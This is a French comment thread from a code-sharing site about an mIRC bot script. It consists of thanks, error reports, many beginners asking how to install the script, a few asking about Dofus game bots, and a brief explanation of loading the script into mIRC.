"mes remerciments Simcamb de #vossey et de #seek4L et Arkanis de #arkanis qui conciderent les noobs comme des futures scripters et non comme des déchets !"

Mais de rien ^^

Commentaire de ChrisPM le 01/02/2005 14:46:14

Salut !

Je suis un débutant en scripting mirc. Perso je trouve ce code intéressant car il renferme plein d'astuces !
J'ai par exelmple compris facilement, juste en voyant la façon dont ça été programmé, comment délayer des opérations (par exemple l'affichage de plusieurs messages) en utilisant plusieurs timers !

donc merci pour ce bout de code qui me permets d'avancer dans mon projet perso !

Commentaire de b3b3n le 02/02/2005 22:26:20

mais derien ! si tu as un problème je serais heureu de t'aider :)

Commentaire de hilmeoo le 20/02/2007 13:10:28

je voulais savoir ou il faut rentrer le script ^^ jmi connai po

Commentaire de abuzed le 24/04/2007 11:54:37

Bravo le bot est bien codé et je n'est pas vu encore de bugs.

Par contre si tu mets "débutant" c'est une chose mais il faudrait peut être alors donner une explication comment l'installer et l'utiliser pour les "débutants".

Merci de ton partage, il est fort interessant.

Commentaire de hilmeoo le 24/04/2007 20:41:51

merci moi je serais ravi de savoir comment l'installer et ou le telecharger et ou ont rentre le scripte svp

Commentaire de SawKiller le 15/01/2008 18:42:51

je doit être le seul à l'avoir vraiment tester dans ce cas !
le bot dit sans cesse : - No such nick
dans la console.

Et je ne peut pas dire d'ou ca vient.
sinon gg pour le script

Commentaire de minipropro le 26/02/2008 11:09:13

Est que sa pourrai fonctionner avec dofus ?
Si oui comment ? (et quelles fonctions aussi parce que la pour moi c'est pas tres clair) Merci
Et Vive les noobs (kom moi)

Commentaire de LTEF le 26/03/2008 00:57:28

moi j'ai ce message d'erreur

/ignore: insufficient parameters (line 426, script26.mrc)

Commentaire de Mcipourlebot le 05/11/2008 14:56:42

Juste dire j'lai télécharger comment il marche :)?

Commentaire de momo120492 le 25/11/2008 04:22:43 7/10

Bonsoir a tous !!!
Je suis un nouveau sur ce site et je cherche un bots qui marche sans avoir a rentrer les fonctions chose que je ne c'est as faire et je cherche ce bots pour dofus parcque j'aimerais me faire aider voilou sinon j'ai mit 7/10 pacque jle trouve bien coder !!!
j'atted votre reponse avec impatience
@++

Commentaire de karouel le 01/12/2008 19:35:39

Bonjour je suis 1 fan de dofus et jaimerais avoir des bot svp aider moi

Commentaire de kakushi740 le 09/01/2009 23:42:16

Je sais pas comment programmer mon bots aidez moi svp merci ;)

Commentaire de chawki0007lepro le 22/01/2009 13:47:57

je nai rien compris coment en fait pour le mette

Commentaire de sous02 le 25/01/2009 20:40:18

Salut,
Je suis un novice je n'y connais rien en matiére  de script, de bot....
je voudrais connaitre parce que sa me passionne  énommément
cordialement
                                  
                                                       Sous02

Commentaire de DakMeD le 08/02/2009 13:29:19

Je vois pas commen sa Marche
help

Commentaire de isilgura le 12/02/2009 14:00:41 1/10

sa marche pa du tou

Commentaire de yoyoneufkatresetcen le 17/02/2009 00:36:31

eu je clique sa mé ouvrir / enregistrer... je fai ouvrir et apréje suis perdu je c'est pas du tous coi fair

Commentaire de marc4268 le 25/02/2009 11:10:04

ji connais rien en script donc je compran comment fo le rentré

Commentaire de marc4268 le 25/02/2009 16:28:28

bonjour ji connait rien en sript je voudrait sa voir si se bot allé sur dofus et si oui ou i faut le rentré

Commentaire de alexdu42170 le 01/03/2009 15:46:31

je ne comprend point

Commentaire de arturio le 23/03/2009 11:48:16

et je voudrais avoir le lien de télèchargement du bot que je ne trouve pas help qui peut m'aider svp

Commentaire de Renfield le 23/03/2009 13:37:05 administrateur CS

Pourrais tu expliciter un peu ta demande, Arturio ?

Avis aux autres, merci de laisser la language SMS au vestiaire !


Commentaire de spheryx le 27/05/2009 13:05:40

Bonjour. Je me suis donc inscris sur ce site, j'ai télécharger le fichier complet , mais comme je suis un débutant je ne sais que faire après l'avoir télécharger. Aidez-moi s'il vous plaît !

Commentaire de darkadurna le 14/06/2009 10:21:03 5/10

Bonjour a tous,

Je suis ici pour re-actualiser la question de Spherix et de pleins d'autres avant lui . Que doit on faire de ce bot une fois télécharger ? Où doit on le copier ? dans quel dossier ? Où ? Quand ? Pourquoi ? Comment ? quelle était la couleur de la jument BLANC d'Henri IV ? Toutes ces questions n'ont pour moi aucune reponse. Merci d'essayer d'expliquer a un noob de la programmation que doit il faire avec son bot. Thanks =D Bonne fin de journée a tous .

Darkadurna

Commentaire de malone89200 le 04/07/2009 14:59:10

bonjourn meme soucis on le mest ou le scipt je ni connait pas aider moi si vous plaie

Commentaire de slapmi le 24/07/2009 12:38:25

Moi non plus je e sais pas quoi faire apres le telechargement donc si quelqu'un pourais m'aider sa serais simpasmerci!

Commentaire de RastaRed le 29/07/2009 21:03:16

?? aide svp ^^

Commentaire de moiboss le 30/07/2009 04:26:31

svp je suis comme tout les autre personne commen sa marche apres lavoir teleharger

Commentaire de misterthibaut19 le 01/08/2009 18:40:25

s'il vous plait, moi non plus je ne sais point faire une foi le dossier télécharger. Pouvez-vous, s'il vous plait nous aider .

Commentaire de hichem7575 le 04/09/2009 02:51:10

comment sa marche ou je le mais je compren pas aider moi svp

Commentaire de sylence89 le 05/09/2009 08:46:33

heu les gars faudrais p'tetre lire un peu ici c est un forum d help pour scripteur donc un minimum de respect pour l'auteur  
1°):lire le script et poser les bonnes questions sur son script
2°) pas juste c/c le truc dans tous les onglets pour le voir fonctionner par miracle
3°)la question a déjà été posée une fois pas besoin de chouiner
4°)google est ton ami

voili voilou

ps désoler de polluer avec sa mais franchement sa faisais beaucoup trop

Commentaire de gign912 le 16/10/2009 21:06:34

comment on fait pour le faire marcher

Commentaire de clad76440 le 29/10/2009 18:23:07

a voila je pense que j'arrive au bon moment car celuit qui mit se scrpt est meurt donc ne pourra pas vous repondre d'une commencer a aller sur le site du zero jéai tout appri la bas c simple sa explique tout pas besoin de poser les question donc je vous informe que se script est con houps copier coller dans un bloc et vou le surnomer bot.exe si sa fonctionne sa sera plu compliquer

Commentaire de bibibadaleroi le 07/11/2009 12:38:23 10/10

je les telecharger avec le zip et sa marche pas trop il et pluto bien coder mais comment lancer le logiciel svp je suis nouvo dans le site ^^

Commentaire de guillaumelaglaine le 18/11/2009 12:56:19

u_u jarive pas a le faire marchée ^^ merci de maider

Commentaire de vogue38 le 20/11/2009 10:54:37

Boujour,
Je voudrait savoir comment crer un fichier .exe?

Commentaire de max98000 le 24/01/2010 04:35:24 1/10

bonjour moi personnellement je ne suis pas un pro mais je pense qu'il faut entrer le script dans un logiciel comme Autoit ou quelque chose du genre...

Commentaire de Simcamb le 24/01/2010 10:50:05

A tous ceux qui demandent comment faire pour lancer le script, et tous les autres qui répondent des âneries : Vous lancez mirc.exe, vous faites alt+r pour arriver dans les remotes, vous creez un nouveau fichier et vous faites un joli copier-coller du code.

Commentaire de eiitrix le 17/02/2010 16:55:50

ou est ce kon trouve mirc.exe

Commentaire de MasaoRikku le 20/03/2010 11:47:12

Personellement , je cherche "mirc.exe" sur internet , je n'ai pas encore trouvé -_-" Mais je vais trouver :D . Je ne m'y connais pas très bien non plus , normallement je fais ca l'année prochaine... Enfin j'me souhaite bonne chance tout seul xD

 Ajouter un commentaire




Nos sponsors


Sondage...

Comparez les prix

CalendriCode

Mars 2010
LMMJVSD
1234567
891011121314
15161718192021
22232425262728
293031    

Consulter la suite du CalendriCode

Photothèque

 
Développement réalisé par Nicolas SOREL (Nix) avec l'aide de : Cyril DURAND et Emmanuel (EBArtSoft), Merci à Vincent pour ses précieux conseils.
CodeS-SourceS.com© Toute reproduction même partielle est interdite sauf accord écrit du Webmaster
CodeS-SourceS.com© est une marque déposée tous droits réservés

Google Coop CodeS-SourceS Google Coop CodeS-SourceS
Temps d'éxécution de la page : 0,671 sec (3)

Nous contacter | Annoncer sur CodeS-SourceS | Mentions légales